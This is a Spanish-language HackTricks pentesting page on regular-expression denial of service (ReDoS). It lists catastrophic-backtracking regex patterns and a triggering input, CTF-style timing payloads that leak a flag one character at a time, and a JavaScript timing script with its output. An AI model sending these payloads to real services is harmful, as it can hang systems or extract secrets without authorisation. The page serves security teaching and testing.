hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

6 KiB

Denegación de Servicio por Expresión Regular - ReDoS

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Denegación de Servicio por Expresión Regular (ReDoS)

La Denegación de Servicio por Expresión Regular (ReDoS) es un tipo de ataque de Denegación de Servicio que aprovecha las ineficiencias en las implementaciones de expresiones regulares. La mayoría de los motores de expresiones regulares pueden encontrarse con situaciones extremas donde se desempeñan muy lentamente, a menudo exponencialmente relacionado con el tamaño de la entrada. Al explotar esto, un atacante puede causar que un programa que utiliza expresiones regulares se cuelgue durante un período de tiempo prolongado.

El Problema del Algoritmo Naïve de Regex

Consulta los detalles en https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Regex Maliciosas

Un patrón de expresión regular malicioso se refiere a uno que puede quedarse atascado con una entrada manipulada. Los patrones de regex maliciosos típicamente contienen agrupación con repetición y repetición o alternancia con solapamiento dentro del grupo repetido. Algunos ejemplos de patrones maliciosos incluyen:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} para x > 10

Todos los anteriores son susceptibles a la entrada aaaaaaaaaaaaaaaaaaaaaaaa! (La longitud mínima de entrada puede cambiar ligeramente, al usar máquinas más rápidas o más lentas).

Cargas Útiles de ReDoS

Exfiltración de Cadenas vía ReDoS

En un CTF (o bug bounty) quizás controlas el Regex con el que se compara una información sensible (la bandera). Entonces, podría ser útil hacer que la página se congele (tiempo de espera o tiempo de procesamiento más largo) si un Regex coincide y no si no lo hace. De esta manera, podrás exfiltrar la cadena carácter por carácter:

  • En este post puedes encontrar esta regla de ReDoS: ^(?=<flag>)((.*)*)*salt$
  • Ejemplo: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • En este writeup puedes encontrar este otro: <flag>(((((((.*)*)*)*)*)*)*)!
  • En este writeup él utilizó: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlando la Entrada y el Regex

Los siguientes son ejemplos de ReDoS donde controlas tanto la entrada como el regex:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Herramientas

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: